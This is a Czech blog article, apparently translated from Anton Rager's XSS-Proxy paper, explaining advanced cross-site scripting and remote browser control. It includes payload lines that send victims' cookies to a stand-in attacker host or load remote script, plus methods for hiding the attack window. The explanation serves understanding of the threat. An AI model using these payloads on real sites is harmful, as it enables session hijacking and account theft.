Hacking keyboard_arrow_right Hacking WWW stránek keyboard_arrow_rightPokročilé techniky xss (cross-site ..

Obrázek příspěvku: Pokročilé techniky xss (cross-site scripting)

Pokročilé techniky xss (cross-site scripting)

personaccess_time16.červen 2020chat_bubble_outline0 komentářůremove_red_eye2 shlédnutí

Popis pokročilého Cross-Site-Scriptingu, se vzdálenou kontrolou v reálném čase, od autora aplikace XSS-proxy jménem Anton Rager. Cross Site Scripting (XSS) je mnoha vývojáři a security profesionály obvykle považován za málo závažnou bezpečnostní zranitelnost. Do dnešní doby vznikla řada projektů s poukazem na potencionální rizika XSS, ale problém je převažne na pokraji zájmu bezpečnostních expertů a to včetně širších souvislostí o které tady jde.

Autor aplikace XSS proxy napsal a zveřejnil popis v naději, že se odlehčený pohled na věc změní. Cituji: Doufám, že tímto dokumentem a vydáním nástroje pod jménem XSS-proxy (popsáno níže) změním pohled na celou situaci. XSS-Proxy umožňuje plnou kontrolu XSS útoků vzdáleným uživatelem (útočníkem). Tento dokument popisuje obvyklé XSS útoky a představuje nové metody/nástroje pro vytváření interaktivních XSS útoků, obojsměrných útoků a ještě více zla.

Nejedná se o detailní návod (XSS howto), ale o širší vysvětlení metod XSS útoků. CGISecurity XSS FAQ (1) je dobrý zdroj pro celkový pohled na problematiku hlavních XSS zranitelností. V závěru textu jsou reference (2,3,4,5) obsahujíci skvělý materiál pro navazujíci XSS témata.

Projekt XSS-proxy nevznikl jako platforma pro diskuzi a řešení. Existuje celá řada zdrojů, metod a možností pro hlášení chyb nebo opravování XSS děr. Pokročilé metody XSS které budou v textu představeny obcházejí mnoho metod aplikovaných proti XSS zranitelnostem. Doporučené čtení o hidden form inputs, URL re-writing, POST methods častokrát podsouvají řešení které nejsou 100% učinné, obzvlásť v případě, že má útočník přístup ke stejnému obsahu (a jscript/values) jako jeho oběť. Zbavit se všech speciálních HTML znaků nebo precizní filtrování vstupu je k ničemu v případě, že existuje neobjevený způsob jak vstup obelstít. Řešením může být rozdelení webových stránek na četné dokumentové domény, kde bude pro útočníka mnohem obtížnější provést/najít XSS útok/zranitelnost v porovnání s jediným místem kde je vše pohromadě. CGI vyhledávání na stránce v jedné subdoméně a citlivé oblasti na další(ch) může být užitečné.

Pozadí XSS

Jako mnoho z vás ví, běžné XSS útoky vycházejí typicky ze dvou základních principů:

1 – Útočník uploaduje <script> tag do veřejného fóra, blogu nebo stránek které navštevují uživatelé a obsahují XSS zranitelnost. Útočník pak díky přístupu získa (harvesting cookies) cookies webové stránky ze kterých vyčte řadu důležitých informací a díky tomu častokrát i přítpup k uživatelským účtum. Útoky jsou ale někdy využitelné mnohem hlouběji. Zde je to co myslím a říkam mnoha lidem co XSS přesně znamená. Příklad:
Někdo chce odeslat následujíci kód na utocnik.com aby to další uživatelé sprocesovali.

<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>

Je to pokus o získání obrázku ze serveru útočníka pomocí cookies uživatele blogu priklad.com v URL.

2 – Útočník použije veřejný web náchylný na útok XSS jak bylo uvedeno nahoře, nebo email zprávu založenu na XSS pro přesměrování uživatele na druhý server zranitelný pomocí XSS. Druhý server je aktuální cíl útočníka a stránka samozřejme obsahuje vlastní XSS zranitelnost, kde nic netušíci uživatel injektuje obsah <script> do dokumentu, který navenek pouze vidí. To v kombinaci s přesměrováním z dalšího webu umožňuje podvržení cookies, podvržení form/submit obsahu nebo specifickou akci XSSnutého uživatele proti dalšímu webu. Tato metoda je hodně rozšířena ale pramálo admiínistrátorů chápe, že se jedná o způsob útoku. Jak to funguje?
Někdo chce odeslat následujíci kód na priklad.com aby to další uživatelé sprocesovali.

 

<script>document.location=’http://ebanking.com/search?name=<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>'</script>

Moment kdy je uživatel přesměrován na ebanking.com s hořejší XSS, toto je to co se vrátí uživateli a bude spuštěno:

<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>

To je pokus o získání obrázku ze serveru útočníka s cookies uživatele ebanking.com v URL.

V minulosti hodně lidí zdůrazňovalo, že pokročilou manipulaci s webovým obsahem lze dosáhnout s XSS skriptem otevirajícím IFRAME (nebo další windows-like element) a loads/submits pro další dokumenty na stejné stránce. Důvěra v DOM umožňuje přítomnost Javascriptu v dokumentech a dovoluje interakci s dalšími windows/IFRAME, do doby než budou okna směrována do stejné dokumentové domény (protokol + domain_name + port).

Aktuální metody XSS útoků jsou typicky limitovány pro jednu transakci a ve výsledku pouze v rámci cílové stránky, cookie harvesting nebo podvržení formuláře (form submission leakage).

 

Zásady XSS-Proxy / Útoku

XSS-Proxy rozšířuje běžné XSS útoky a kombinuje je s možností vykonání dalších Javascript příkazů, z libovolného vzdáleného serveru (viz Javascript Remoting reference číslo (6) pro detaily s IFRAME) pro možnost XSS být více než-li přesměrování s únikem cookies. Tato kombinace útočnikovi umožňuje ustavit stabilní, obousměrný kontrolní/přenosový kanál na oběť XSS a tím přistupovat na XSSnuté webové stránky s identitou oběti. Po celou dobu co má oběť útočníka otevřené XSS okno má útočník totální kontrolu nad prohlížečem oběti oproti XSS stránce s možností přesměrování na další stránky zranitelné XSS, nebo předání specifického blind requestu dalším serverům (viz reference číslo (3) provádění Cross-Site-Request-Forgeries aka CSRF a reference číslo (4) pro Session-Riding).

Zmíněné situace lze dosáhnou s jedním nebo druhým útokem popsaným nahoře, teď se pokusíme názorně popsat příklad dvojího XSS přesměrování serveru. Oběť dostane XSS vektor pomocí blogu, diskuzního boardu, emailem atp. (předpokládaejme, že oběť surfuje na webech kde je možné vytvořit XSS – zavoláme stránku spatnyblog.com) a Javascript obsah přesměruje uživatele na druhou stránku (zavoláme druhou stránku ebanking.com a předpokládame samozřejmě, že stránka obsahuje XSS vo vyhledávací funkci, takže můžeme opakovat pomocí GET). Přesměrovací URL referuje na refers to a napadnutelnou část (cgi/etc) na druhém serveru což způsobý odezvu serveru která bude obsahovat Javascript příkaz útočníka který oběť vykoná.
Inicializační XSS vektor na spatnyblog.com bude vypadat nějak takhle:

<script>document.location=“http://ebanking.com/search?name=<script src=’http://utocnik.com/xss.js‘></script>“</script>

Okno oběti teď má dokumentovou doménu ebanking.com a Javascript příkazy běží na doméně. Díky Javascript oběť posílá requesty na http://utocnik.com pro další skriptové příkazy. Nástroj XSS-Proxy aktuálně běží na utocnik.com a posyktuje další Javascripty pro inicializaci klientské části obsahujíci třeba funkce pro čtení dokumentů, procesování, přesměrování odpovědí, manipulaci chyb (error handling), stejně jako další příkazy pro vytvoření IFRAME, načtení root dokumentu (/) na cílovém serveru (ebanking.com) do IFRAME, načtení trvá pár vteřin, čtení obsahu (za použití innerHTML), pak následují další požadavek skriptů na http://utocnik.com. To vypadá komplexně ale jedná se pouze o několik řešení a reference časovač pro více volání skriptu na XSS-Proxy server. Funkce zůstanou v paměti až do doby než se okno oběti změní. Co se stane když od oběťi odejdou na http://utocnik.com subsekvenční skript requesty? Aktuálně se stanou dvě věci:

1 – Obsah dokumentu v IFRAME (výsledky innerHTML pro daný objekt) jsou podvrženy do URL v skript requestu. Requesty skriptu jsou pouze GET, takže všechny volání skriptu obětí jsou jako volání normálniho dokumentu a ukládají parm/info na URL za jméno skriptu/stránky. Toto volání skriptu způsobý na serveru útočníka něco jako:

GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1

Je to o něco víc komplexnější než to, že IE limituje délku URL (na přibližně 2049 znaků), takže většina dokumentů bude potřebovat naporcovat na části, které se na skritp URL request budou schopny dát dohromady. Aktuální nástroje se s tímto snaží vypořádat tak, že umísťují do URL dotazů přídavné informace pro znovusestavení (podobně jak to funguje u TCP/IP paketů).

2 – Server na http://utocnik.com odpoví na poslední požadavek skriptu s více skirpt příkazy pro zachování trvání. Server buďto odpoví pomocí

a.) loop requestu (obyčejně řekne oběti počkej pár vteřin, pak znovu zkontroluj zda-li existují další příkazy skriptu)

b.) dokument requestu (vlož dokument do IFRAME, přečti ho a přepošli výsledky pokud tě o to skript požádá)

c.) submit requestu (nastav hodnoty vstupu ve formuláři s IFRAME, odešli, čekej na odpověď, přečti odpověď přepošli výsldek zpátky pokud o to skript požádá).

Nebo pomocí javascript var/funkce požadavek na vyhodonocení (vyhodnoť výraz uvnitř aktuálniho okna v prohlížeči oběti a vrať výsledek+get příkazy). Proces pokračuje tak dloho jak oběť setrváva na stejné stránce.

Zde je ASCII vizualizace okna a vysvětlení v souvislostech s cílem útočníka, po tom co je oběť přesměrována na finálni cíl a inicializován únos session:

Existuje řada metod pro zamaskování aktuálniho „rezidentního“ okna pro útok (attack window) nebo IFRAME zaváděče. Celé okno lze schovat, stejně tak zrušit původní obsah stránek nebo proste použít skrytý IFRAME. Nástroj XSS-Proxy o kterém mluvíme, necháva okno včetně IFRAME pro oběť viditelné, ale modifikace je triviální (třeba interaktivně s Javascript Eval from). Existují i metody jak donutiti uživatele otevřít nové okno a obejít blokování pop-up oken. Jak? XSS proces přepíše odkazy v originálním dokumentu a otevření okne je pak pouze otázkou kliku. Nové oknomůže být kopii (zrcadlem) toho co si uživatel právě prohlíží, nebo výsledek odkliknutého odkazu ve veřejném XSS dokumentu a zmanipuluje oběť tak, že okno kontrolované XSS nechá běžet když dál surfuje.

folder_openPřiřazené štítky

0 komentářů

commentŽádné komentáře

Pokud chcete, můžete přidat první komentář k tomuto článku níže.

Vložit komentář

info_outline

Nepublikujte SPAM!

Jakékoliv SPAM komentáře, které nejsou relevantní k obsahu tohoto článku budou odstraněny.

Podobné články

Jak v Safari zobrazit zdrojový kód webu?

personRedakceremove_red_eye986bookmarkApple návody

Zobrazení zdrojového kódu u internetového prohlížeče Safari, který běží na operačním systému OS X není tak jednoduchá věc, jako například u konkurenčního prohlížeče Google Chrome. U prohlížeče Google Chrome se jedná jen o klávesovou zkratku CTRL + U a ihned před sebou ..

Co je SocialWeb? ..vytváření privátních webových sítí.

personRedakceremove_red_eye553bookmarkSocialWeb

SocialWeb není úplně vhodný pro jednotlivce, jejichž zájem je vytvořit si portfólio a nebo jednoduchou webovou prezentaci a to hned z několika důvodů: 1. Firemní a nebo osobní webová prezentace se dá lépe postavit například přes WordPress a nebo X online nástrojům ..

Budování vztahů se zákazníky

personRedakceremove_red_eye116bookmarkMarketing

Neoddělitelnou součástí internetového marketingu je marketing v sociálních sítích a médiích. Sociální technologie mají poslání budování vztahů mezi uživateli sociální sítě, ale dokáže budovat i vztahy mezi uživateli a společnostmi. Vlastníte-li společnost a chcete si ..

SEO analýza webových stránek

personRedakceremove_red_eye102bookmarkAnalytika

Nyní se podíváme na SEO analýzu webových stránek, probereme, v čem spočívá a na co si dát pozor. Nejdříve si řeknem, co je vlastně SEO audit. SEO analýza je první pohled na internetovou stránku před zahájením optimalizace pro vyhledávač. Existuje více typů SEO analýzy a ..

Blogování v roce 2019: je blogování mrtvé?

personJanaremove_red_eye7408bookmarkBlogy

V poslední době se na internetu objevily různé zprávy a diskuze o tom, že blogování už není to, co bývalo a že klasické blogy stále častěji končí. Důvodem je pokles zájmu čtenářů. Je ale blogování opravdu mrtvé? Podle mého názoru je třeba rozlišit blogy osobní, které ..

Obecné zásady bezpečnosti práce v pozemním stavitelství

personRedakceremove_red_eye45languagereceptar24.cz

Pozemní stavitelstvíPoznámka: Tento text se opírá o předpis, který v současnosti neplatí! (viz nově: NV 591/2006 Sb.) - Avšak ho stále považuji za velmi dobrý. (v případě rozporu níže uvedeného textu s texty v kapitolách ____, platí texty v již zmíněných kapitolách). ..

Na co si dát pozor při výběru AKU nářadí?

personRadka Eliáškováremove_red_eye64languagereceptarprimanapadu.cz

AKU nářadí, tedy nářadí, které je namísto elektrické sítě napájeno bezdrátovým akumulátorem, dnes na trhu již nestojí opodál, ale stává se svébytným segmentem, který zcela oprávněně dokáže konkurovat i běžnému elektronářadí. Spousta lidí si ale při výběru ..

Playstation 4

personRedakceremove_red_eye86languagegametek.cz

Recenze Nová generace konzolí, to je období zvláštní, specifické. Musím se přiznat, že příchod Xboxu 360 a Playstation 3, jsem před těmi lety sledoval celkem z klidného zázemí a chladnou hlavou. Ponořen do hraní "must play" titulů na Playstation 2, po mém přerodu z PC scény ..

Franchisové systémy v přehledu-Kochlöffel

personRedakceremove_red_eye64languageefektivnepodnikat.cz

Také „Master-Franchising“ je jednou z forem franchisingu.Tímto získává tzv. Master-franchisant, jinak také Master, od franchisora licenci pro výstavbu (a následně i provoz) franchisové sítě systému v konkrétní zemi nebo regionu. Franchisoři kteří nabízí Mater-licenci ..

Stavební pozemek - co dělat před nákupem.

personSimona Chvátilováremove_red_eye64languagereceptarprimanapadu.cz

Nákupu parcely bychom měli věnovat značnou pozornost, jedná se totiž o zásadní rozhodnutí. Vždy bychom si měli obstarat co možná nejvíce pokladů a informací. Základními kritérii výběru jsou: makrolokalita, mikrolokalita, napojení na inženýrské sítě a komunikace, tvar ..